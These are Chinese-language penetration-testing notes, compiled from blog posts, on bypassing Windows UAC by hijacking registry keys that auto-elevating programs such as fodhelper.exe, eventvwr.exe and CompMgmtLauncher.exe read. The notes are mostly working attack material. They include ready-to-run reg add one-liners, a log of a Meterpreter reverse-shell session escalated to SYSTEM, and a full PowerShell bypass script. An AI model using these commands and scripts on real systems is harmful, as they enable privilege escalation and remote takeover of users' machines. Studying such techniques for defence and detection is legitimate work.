注意:win11均无法利用此漏洞了!
**UAC bypass for Win10:** 【此case,在我的win10上没有复现】 reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\App Paths\control.exe" /d "cmd.exe" /f && START /W sdclt.exe && reg delete "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\App Paths\control.exe" /f **UAC bypass for Win10:** reg add HKCU\Software\Classes\ms-settings\shell\open\command /v "DelegateExecute" /f && reg add HKCU\Software\Classes\ms-settings\shell\open\command /d "cmd /c start powershell.exe" /f && START /W fodhelper.exe && reg delete HKCU\Software\Classes\ms-settings /f **UAC bypass for 7/8/10:** reg add HKEY_CURRENT_USER\Software\Classes\mscfile\shell\open\command /d "cmd.exe" /f && START /W CompMgmtLauncher.exe && reg delete HKEY_CURRENT_USER\Software\Classes\mscfile /f
**UAC bypass for Win10:**【仅仅对win10有效】 reg add HKCU\Software\Classes\ms-settings\shell\open\command /v "DelegateExecute" /f && reg add HKCU\Software\Classes\ms-settings\shell\open\command /d "cmd /c start powershell.exe" /f && START /W fodhelper.exe && reg delete HKCU\Software\Classes\ms-settings /f
复现方法(注意关闭defender):
正常情况下是:START /W fodhelper.exe
但是修改了注册表以后:
实践案例:https://pentestlab.blog/2017/05/02/uac-bypass-event-viewer/
具体来说,当 eventvwr.exe 被执行时,真正发生在幕后的是它试图在这两个注册表位置找到 mmc.exe:
- HKCU\Software\Classes\mscfile\shell\open\command
- HKCR\mscfile\shell\open\command
第一个注册表位置不存在,因此 mmc.exe 从第二个位置执行,然后加载 eventvwr.msc 文件以向用户显示信息。
MMC 和事件查看器因此,攻击者有可能创建不存在的注册表位置,以执行具有高级完整性的进程,从而绕过用户帐户控制 (UAC)。
当 eventvwr.exe 将被执行时,命令提示符将直接打开,而不需要从 UAC 进行任何提升。(注意:注册表添加因为是到hkcu,所以普通用户是添加到自己的hkcu下面,和管理员的不一样,因此对此应用场景,其实是管理员身份先添加了一个注册表项,然后管理员再去打开event viewer时候,就不会有uac的提示,而直接打开了cmd!普通用户的话,是不行的!因为管理员的hkcu和普通用户的不一样!)
通过事件查看器绕过 UAC这种技术被认为是非常隐蔽的,因为它不接触磁盘,也不进行任何进程注入,避免了被防病毒或监控进程行为的安全解决方案发现的风险。
然而,为了获得正确的 Meterpreter 会话并使用 Meterpreter 通过 getsystem 命令使用的技术之一提升权限,也可以使用恶意且无法检测到的有效负载来代替命令提示符。
自定义有效负载 - 注册表Process Explorer 可以验证 pentestlab3.exe 进程的完整性级别,该进程再次运行为高:
pentestlab3 - 作为高完整性进程运行Metasploit 模块处理程序将捕获提升的 Meterpreter 会话,从那时起权限升级是可能的,因为用户帐户控制已经被绕过。
C:\Users\bonelee\Desktop>reg add HKEY_CURRENT_USER\Software\Classes\mscfile\shel l\open\command /d "C:\Users\bonelee\Desktop\shell.exe" /f The operation completed successfully. C:\Users\bonelee\Desktop> START /W CompMgmtLauncher.exe
msf6 > use exploit/multi/handler [*] Using configured payload generic/shell_reverse_tcp msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp msf6 exploit(multi/handler) > set lhost 192.168.157.128 lhost => 192.168.157.128 msf6 exploit(multi/handler) > set lport 4444 lport => 4444 msf6 exploit(multi/handler) > run [*] Started reverse TCP handler on 192.168.157.128:4444 [*] Sending stage (175686 bytes) to 192.168.157.129 [*] Meterpreter session 1 opened (192.168.157.128:4444 -> 192.168.157.129:49194) at 2022-09-13 05:04:40 -0400 meterpreter > getuid Server username: WIN-0BIKIQLCCRQ\bonelee meterpreter > whoami [-] Unknown command: whoami meterpreter > background [*] Backgrounding session 1... msf6 exploit(multi/handler) > sessions Active sessions =============== Id Name Type Information Connection -- ---- ---- ----------- ---------- 1 meterpreter x86/win WIN-0BIKIQLCCRQ\bone 192.168.157.128:4444 dows lee @ WIN-0BIKIQLCCR -> 192.168.157.129: Q 49194 (192.168.157.1 29) msf6 exploit(multi/handler) > sessions Active sessions =============== Id Name Type Information Connection -- ---- ---- ----------- ---------- 1 meterpreter x86/win WIN-0BIKIQLCCRQ\bone 192.168.157.128:4444 dows lee @ WIN-0BIKIQLCCR -> 192.168.157.129: Q 49194 (192.168.157.1 29) msf6 exploit(multi/handler) > run [*] Started reverse TCP handler on 192.168.157.128:4444 [*] Sending stage (175686 bytes) to 192.168.157.129 [*] Meterpreter session 2 opened (192.168.157.128:4444 -> 192.168.157.129:49196) at 2022-09-13 05:07:17 -0400 meterpreter > getuid Server username: WIN-0BIKIQLCCRQ\bonelee meterpreter > getsystem ...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)). meterpreter > getuid Server username: NT AUTHORITY\SYSTEM
最后可以看到提权到了system!!!
Metasploit
或者,有一个 Metasploit 模块可以自动执行上述过程,返回一个提升的 Meterpreter 会话。
1
|
exploit/windows/ local /bypassuac_eventvwr |
0x01 基础知识
- HKCU = HKEY_CURRENT_USER
- HKLM = HKEY_LOCAL_MACHINE
- HKCR = HKEY_CLASSES_ROOT
上图是 Windows 10 企业版的 regedit
的截图。HKCU
和 HKLM
这2个注册表驱动器有什么特殊之处呢?
在 Powershell 中,仅定义了此2个注册表驱动器。其他的一些如 HKCR 没有被预定义。当然可以自己手动定义。
0x02 原理分析
前提:一些高权限的程序会调用 HKCR:\
下的键值。
思路:
- 通过修改
HKCU:\
下面的键值同步修改HKCR:\
下的键值。 - 把原本的键值改为
cmd.exe
等 shell 程序。 - 如果高权限的程序在运行过程中调用此处被修改过的键值,就会以高权限启动我们设定的程序。
- 如此便实现了 Bypass UAC。
问题:
难点在于如何找这种可利用程序:
- 是高权限程序
- 需要调用
HKCR:\
下的键值。
0x03 工具准备
- sigcheck.exe
- Process Monitor
sigcheck.exe
sigcheck.exe 工具可以查看 exe 的 manifest,在 manifest 中可以看到程序的权限。
下图中我查看了 certutil.exe
的权限,是普通权限(asInvoker
跟随调用者)。
对于 XML 文件中引用的 UAC 执行权限级别,分别代表下列含义:
highestAvailable
和 requireAdministrator
的区别是:前者是以当前用户可以获得的最高权限运行,后者是仅以系统管理员权限运行。
我们找的话要找 highestAvailable
的,因为如果我们都能以管理员权限运行了,肯定就不需要 bypass UAC 了。
另外有更加直观的判断方法是:
查看文件图标,如果带有 UAC 标志,那么一定是高权限的程序,如图:
但是就我们 Bypass UAC 的出发点,我们还得判断其 UAC 执行级别是 highestAvailable
还是 requireAdministrator
。比如我找到了 wusa.exe
这个程序也是 highestAvailable
。
Process Monitor
借助 Process Monitor,可以查看程序运行过程中的注册表、文件、网络、进程间的调用关系。
0x04 实验
实验环境:Windows 7 SP1 x64
启动 Process Monitor,运行 eventvwr.exe。Process Monitor 选择 Tools-Process Tree,找到 eventvwr.exe。
右键- Go To Event,如图:
然后过滤出 eventvwr.exe
进程的活动:
仔细查看进程调用关系,如图:
获取了以下一些信息:
eventvwr.exe
的权限为high
;eventvwr.exe
首先查询键值HKCU\Software\Classes\mscfile\shell\open\command
,查询结果为NAME NOT FOUND
;eventvwr.exe
接着查询键值HKCR\mscfile\shell\open\command
,结果为SUCCESS
。
修改测试
如果修改键值 HKCU\Software\Classes\mscfile\shell\open\command
,使其查询结果为 SUCCESS
,会如何呢?
首先需要修改键值 HKCU\Software\Classes\mscfile\shell\open\command
,为测试可以把值改为 calc.exe
。
因为我这里的 regedit
中的键值只到 HKCU\Software\Classes\
这层目录,所以我新增了后面的表项,并把值设为 C:\Windows\System32\calc.exe
。
然后再次运行 eventvwr.exe
,就发现启动了 calc.exe
。
使用 Process Monitor 查看进程调用关系,如图:
此时对键值 HKCU\Software\Classes\mscfile\shell\open\command
的查询结果为 SUCCESS
。
计算器权限为 high,成功绕过 UAC。
至此,成功通过修改 HKCU\Software\Classes\mscfile\shell\open\command
,实现 BypassUAC,获得了高权限。
0x05 总结
其实此方法 2016 年就提出来了,据说 Win10 系统已对该处做了修复,但是本新手只是学习一下思路。
在进程 eventvwr.exe
启动的时候,首先查找注册表位置 HKCU\Software\Classes\mscfile\shell\open\command
。如果该处为空,接着查找注册表位置 HKCR\mscfile\shell\open\command
(此处默认值为 %SystemRoot%\system32\mmc.exe "%1" %*
),以高权限启动 mmc.exe
,最后打开 eventvwr.msc
。
修改注册表 HKCU\Software\Classes\mscfile\shell\open\command
的键值只需要普通用户权限而已,但是通过在注册表 HKCU\Software\Classes\mscfile\shell\open\command
中添加 payload,就可以在启动 mmc.exe
之前执行预设的 payload。
修改 HKCU\Software\Classes\mscfile\shell\open\command
后,会劫持所有 .msc
文件的运行,如 gpedit.msc
:
该方法 BypassUAC 的优点为:
- 无文件
- 不需要进程注入
- 不需要复制特权文件
按照此方法,可以继续对 system32 下的 highestAvailable
权限的 exe 进行测试,如 wusa.exe
,寻找可以实现 UACBypass 的键值。这种 hook 的思路,可以继续学习。
0x06 参考资料:
[1] https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/
[2] https://enigma0x3.net/2016/05/25/userland-persistence-with-scheduled-tasks-and-com-handler-hijacking/
[3] https://blog.gdatasoftware.com/2014/10/23941-com-object-hijacking-the-discreet-way-of-persistence
[4] https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/
[5] https://3gstudent.github.io/3gstudent.github.io/Userland-registry-hijacking/
[6] https://www.cnblogs.com/elisha-blogs/p/msc.html
Bypass UAC
一、UAC介绍
UAC(User Account Control)是微软在 Windows Vista 以后版本引入的一种安全机制,通过 UAC,应用程序和任务可始终在非管理员帐户的安全上下文中运行,除非管理员特别授予管理员级别的系统访问权限。
当前获得的权限是存在于管理员组的时候但是并且是administrator这个用户,此时就可能需要我们进行绕过UAC的操作,否则虽然是管理员组但是实际上并没有管理员所对应的高权限操作,这个时候就需要bypass uac
二、利用注册表bypass uac
HKCU = HKEY_CURRENT_USER
HKLM = HKEY_LOCAL_MACHINE
HKCR = HKEY_CLASSES_ROOT
一些高权限的程序会调用 HKCR:下的键值,通过修改 HKCU下面的键值同步修改HKCR 下的键值,把原来得值改成想运行得程序比如beacon.exe,如果高权限得程序运行过程会调用这个键值,就会以高权限运行我们得程序达到bypass uac
sigcheck.exe 工具可以查看 exe 的 manifest,在 manifest 中可以看到程序的权限。
找的话要找highestAvailable得属性,使用Process Monitor进行过滤规则的选择,找到程序eventvwr.exe,找到其调用过程,可以发现这条注册表的项它会进行查询
eventvwr.exe 首先查询键值 HKCU\Software\Classes\mscfile\shell\open\command,查询结果为 NAME NOT FOUND;
eventvwr.exe 接着查询键值 HKCR\mscfile\shell\open\command,结果为 SUCCESS,因为修改注册表HKCU\Software\Classes\mscfile\shell\open\command得值只需要普通用户权限,所以修改为calc.exe进行测试
win10测试发现没有加载这个注册表路径,win7存在,但是需要手动添加后面得选项\shell\open\command,如下图所示成功弹出calc.exe
calc.exe程序权限为 high,成功绕过 UAC。
powershell自动化添加:powershell.exe -exec bypass -Command "& {Import-Module .\bypass.ps1;Invoke-Bypass }"
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|
function Invoke-Bypass { Param ( [String] $Command = "C:\Windows\System32\cmd.exe /c start cmd.exe" ) $CommandPath = "HKCU:\Software\Classes\mscfile\shell\open\command" $filePath = "HKCU:\Software\Classes\mscfile\shell\open\command" New-Item $CommandPath -Force | Out-Null New-ItemProperty -Path $CommandPath -Name "DelegateExecute" -Value "" -Force | Out-Null Set-ItemProperty -Path $CommandPath -Name "(default)" -Value $Command -Force -ErrorAction SilentlyContinue | Out-Null Write-Host "[+] Registry entry has been created successfully!" $Process = Start-Process -FilePath "C:\Windows\System32\eventvwr.exe" -WindowStyle Hidden Write-Host "[+] Starting WSReset.exe" Write-Host "[+] Triggering payload.." Start-Sleep -Seconds 5 if (Test-Path $filePath ) { Remove-Item $filePath -Recurse -Force Write-Host "[+] Cleaning up registry entry" } } |
参考链接:
Win10bypass:https://www.chabug.org/tools/1714.html
http://blog.leanote.com/post/snowming/ec21a4823438